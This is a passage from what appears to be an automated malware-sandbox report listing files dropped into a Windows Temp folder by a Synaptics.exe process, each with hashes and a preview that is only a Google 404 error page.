Entropy (8bit):	5.270826637562825
Encrypted:	false
SSDEEP:	24:GgsF+0cjKSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+zjK+pAZewRDK4mW
MD5:	7464EEB956A92AE48AA23DE7EEE9F3ED
SHA1:	E8A5811F0443301A71DCE13578F5DC99AC76404D
SHA-256:	060E27F518CEA786E578D116C7ACD48C524941E880F68374DA96A3FC1F576FCC
SHA-512:	E2B45826DDEC175999A8A9E8E8B154D5AB24DA85463F963E66AA2BC55B2B48E17727CFF8E3B85E6A1013A478927F9F4E903B3810B99EE0D42BA2D6455D2FDBCA
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="1FOzleRFUuEKF8zZ43YRdQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\6WCIfnu.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.26157159040224
Encrypted:	false
SSDEEP:	24:GgsF+0TSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+c+pAZewRDK4mW
MD5:	6865F269C80F10A09612A7234AFEF5EF
SHA1:	A8CBB8769C912FC857445937CE1DBD46CC93E9E5
SHA-256:	1CD9CCE5541D534549151DB49CB83BDFCA2CBBA5CA1BE4C05C3E25091D0773CB
SHA-512:	9EBE77D9D14A6B0024E2EBC613923D8B418938B8FE0923F140396D1B7666B20B9CCFC6E36F5E6CD9C22050F208FC0C516009E263B78AF33F87DB0386C2F99923
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="D4zpQyUMsofxQ2HAXNl_bg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\6bz9zls.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261921698947657
Encrypted:	false
SSDEEP:	24:GgsF+0BSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+G+pAZewRDK4mW
MD5:	34E6ECCA5F5E9B1A227ACB3A3FCA683E
SHA1:	9373ADAF38325C443BB9880573FD5E72089100B1
SHA-256:	7FDD1FF280E75BF284485710904CB3927976E8ACBDB8FED36C7E3F503AF366B0
SHA-512:	865E04A6A83FDE256064BC1F0BF525E3F72C4E493818CD55E560A460C21F37773F6D314D6A4AA0CEAC317E69AF9782E19E8BEAEAF0B4D21AB26F5CD1597B4D58
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="rtKi2dPzQDegYReQdhSH6Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\6fxreGL.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.262183720109769
Encrypted:	false
SSDEEP:	24:GgsF+0SSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+9+pAZewRDK4mW
MD5:	53D85C159322745059FC3B98B640230F
SHA1:	A42393FD71DBE7A7C8E2994B4612762F4485DF2C
SHA-256:	D648471F2F6331184F43906F43653391397384E9B9BBD8A3AFFD8B78A26E31C7
SHA-512:	FF9A21F3AA6EAE18238D2B07B35DD4A4209E45AE1DD5727BDFAA1B8B47717CDEC4EA20C0BAC7FF51F1CD6249A9879D649E089A57E2C9E990B2FFAE9FDDBF5979
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="TkT9mhDxaoXSdHr6DOoAwQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\6wLXhVA.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264771629215864
Encrypted:	false
SSDEEP:	24:GgsF+0daPzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+dPz+pAZewRDK4mW
MD5:	D02E0C108A5A77E1F6F0CCB9232EC940
SHA1:	F90834DD4A058E33FC97CC9AB33B4F9DFC9E6571
SHA-256:	08AD7A3CA039768DEA741817FBFCE5AAB9F880D20A5A81509994BD1191480AAB
SHA-512:	EE546641B494C03FC9779B6B1B284F2E30DD62E3756B69D8923FF99BF248D0F99D7E16987A30DBE952E1E1670C4BA55828544933C6D93C0F1FA08341FC70A4F1
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Xtw99tDLrzeTPPfkC3A0TA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\7YCgKuM.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268081573066183
Encrypted:	false
SSDEEP:	24:GgsF+0dTDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+a3+pAZewRDK4mW
MD5:	CF677909BF620ADBB721840731E8018B
SHA1:	90D2270F5D33E08A2C0926253E37102FDF486A10
SHA-256:	FE48B855AECB38B8E6F641BB018ECCEA4BCF14BE2C457D1A8BC7743E4F4E5F76
SHA-512:	488CFDAC6DF1A42EB65ED35FBE9A8B2DF2102241112CC69CA3D318C6A7B2890E5891879B242D3C43048AC1E0C010B031B2CDF0F7FB7C624CE9490504E7A6AE8B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="EbVWpk5u6VPn6HIw1gqG4A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\7crrJ4U.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.276262891918783
Encrypted:	false
SSDEEP:	24:GgsF+0ilUbSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Bqb+pAZewRDK4mW
MD5:	2FFF06713FFFE8F203F2F0A2AC7008F8
SHA1:	D88B7978197925E828367AB496CFE1B475110A29
SHA-256:	ECCCE11A2B145CFCC7F9788096E2160EA84F6BEEB3D394820107D452F0EEEB77
SHA-512:	BCA35EB0512FEB2E41D18051D48F54A5A35878BBF70180502D200841EAE7E5F793660AB3847B68D74DA6B0DA0DC6B52CF498DFE41C4C89FB707924F0AD3E0FB8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="K-sGPSvtZBm6OXM3LvLuAg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\7i5cKvW.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265339965707282
Encrypted:	false
SSDEEP:	24:GgsF+0lkXXSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+/X+pAZewRDK4mW
MD5:	2416C4BDCDD55F876C0B47D61BFD1635
SHA1:	960C12B4B439359F5581683838CEABBDB4E82D84
SHA-256:	67BF49B3B912EF99ADF6CA200CCDBAA20242AC621662DBFD905DADC438617296
SHA-512:	A50BA29D2426485FFF1BA24AB89136F3C05FEA191A615995946971EFD064620746D2DF4C2601E449F62240D1F36D9C72FB7E7779924E7E98F57BAE255EEC4733
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="QANsEN2mYtrJ3ZytdYNm6Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\87syIpY.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.273976828320276
Encrypted:	false
SSDEEP:	24:GgsF+00DSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+TD+pAZewRDK4mW
MD5:	ECEDE85F7DD4495097267443B1295D55
SHA1:	E78BB7ABFA48B54A46A7A029DB4C619387282D3D
SHA-256:	BC0F023DC0BE2C47C10F0771B9BAAAAA77A17131CDEC8EB75F71884E3454A46B
SHA-512:	174279DA1FCFE94A447B2C41430C516A7F77B431938196588C73DAFBF8D1750239AF62736A99719697B7555DF453B376EF6FC8FF8DC6E61A708B4E1AE8E7CB53
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="T93L_MKaFq1JOL5lJvIiHQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\8AbSwsT.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258703860034481
Encrypted:	false
SSDEEP:	24:GgsF+01SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+W+pAZewRDK4mW
MD5:	1E5F20ABBAA0EB53986A205934E72D21
SHA1:	7EBE8603E3E4F546004772FFD526FD4699EA2BBC
SHA-256:	4050CE864F0DA7E50E471B5CEBA1DCDE75BB9FB89DFE179A7191B8EA81382051
SHA-512:	544C6F1AC4F1DF2C2EB99D12DAC28BA4EC9A197AEE6A6438FB0B23BF123B1FFF4A6302FB5F494EA519AC3218DF118ED081D15AC579B3D55E5C374480B8583FAB
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="IofL498iXSm_Pv9g_ZLvog">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\8qNN2zr.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265415567525308
Encrypted:	false
SSDEEP:	24:GgsF+01HSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+G+pAZewRDK4mW
MD5:	96A8008E3C507089C9809834613D4E5D
SHA1:	EA04CFBDFF212B558B5FB41CEF2741A28513FEB4
SHA-256:	9B3E75784F2E655C48BDCD9F4534D9575B2E86E9AD031E0B4DC078124D527B91
SHA-512:	A65E9177634AB6C9369BCF5B7BB9E8257F11CF18D3BA2F31089A76C8AE322E0FF15972CC16819B223D60059EB4F10F30B146A01F49B339006FC44615EE8520C4
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="PQBuoXa0kH-bgA6YziGKeQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\8rNB7Ij.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259210158642762
Encrypted:	false
SSDEEP:	24:GgsF+0SswXSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+dsi+pAZewRDK4mW
MD5:	27B1DA1C297651B5BA69368F32A151C3
SHA1:	77F9110F1300E94C14C31811ABF8EE5E721BB9B4
SHA-256:	0A1074E93AA61E32D20055B1711DE6C6128A6B1EC7CE92911141F12F4D06CBF5
SHA-512:	DAAD02647E1EE3A987E32FF6A0C38FAEB39EB01BF3A0039719544E6978770FB88BB08C2E5C133273B567E885B1C55A45AABB50FDE000C6D43D814F8575E5A3ED
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="DIubcWcVtcyc4AGkzryIiQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\8uZdql3.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259470955268102
Encrypted:	false
SSDEEP:	24:GgsF+0XUSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+oU+pAZewRDK4mW
MD5:	F0C3883B89A19E2F8987E63ADEB5044A
SHA1:	3D5D84EF21A22C40B7970165AFDE13009388F248
SHA-256:	86D960E69AB7C645936B2E62D947ADE86C9A8C29C61AE243E19E36F3ADE25EF5
SHA-512:	5A4ACAFB0956D7EB9EDE68CA2053E05E02F5125E28FF0B9A8B9052A86C4CEB2868410EDB6ECE49268037B585E50DD8B77B6A082D95FEEE01EC878FFF8F1DC18E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="QqEM-4J6tblyXrgg03E5qQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\9OPt4nn.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.252312285675696
Encrypted:	false
SSDEEP:	24:GgsF+0dzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Uz+pAZewRDK4mW
MD5:	B46FAE3EFBED49A81C325A7CC6DB57DC
SHA1:	ADE951A7929758D89569B50C8E3AAC1DA16BF631
SHA-256:	5DA39127B638C4129B955C2275982D4E1DD69D38F32E8A5A2F00293128608775
SHA-512:	4DF45EF28CF2DE8466E0FAF9B3FBCB0B64765B4DF0A7ABDC24B1C7C9A3BB5167131BB2186648BDFEB9D97D4E208C46A1E2364B2AD601DFD5DEC4D15E8606D5B2
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="fMYRyi3oM5RxgsR0U2J2tw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\9cAAQQo.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.254699799943074
Encrypted:	false
SSDEEP:	24:GgsF+0oRgSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+NS+pAZewRDK4mW
MD5:	7249C6152E3C56C8226BF8004CED3197
SHA1:	309B73995C0FC892A958E298D3505D782FD1548A
SHA-256:	F4F1EDD0DEE3922C362D6A767EF7480DDC54086373177B4C59A94721D948CA37
SHA-512:	2A39815D8EF9A3371657F7E7FB7BFD799081F43A9CEB74ABE8A14A9DC7FF970012CA73296DE684903DC657AC947997673F0AC195ABF8E36DA11F911B0AE8FD04
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="iLtvbEpbxmJkgC6w2HAWxg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\9onBx6D.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256314458524747
Encrypted:	false
SSDEEP:	24:GgsF+0vgSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+v+pAZewRDK4mW
MD5:	40FAECB7EAECFA94E202FE38A1EF095B
SHA1:	1D486095F6410BC2D3478EEFA948191CED4668F5
SHA-256:	247883E236723FE074F5D14A0220293EB9438B17A87E8BAB13A35F7E22680520
SHA-512:	BD2D5592B347796A09271F118B3094808A8444B315C715683A878452375D3A6CB59EE23095BEBB755715BEF151E2158C55954BDA6D88E16D092F450CD13F91EC
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ULdgTPafgs1b0HJcuySmIQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\AiN81JR.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.249640824129183
Encrypted:	false
SSDEEP:	24:GgsF+0PBo5SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+D+pAZewRDK4mW
MD5:	C5E3AE871B696550D1DF235393055072
SHA1:	01EF662E8EC52D15A418251FCF07AF830F641670
SHA-256:	BBF3425276C836431D92A7CF629F4BCDFEBFE9A779C7227EBD3D9920C93E5C46
SHA-512:	17C26930D40AB4ADDF7D0B8FC7FF037E13805FDD36A6CE6A161B62E5864D797B0F942437B1D4B9B07394DD974C0E66B8108E35AAF35D40A3D55C36E91DE0DF09
Malicious:	false
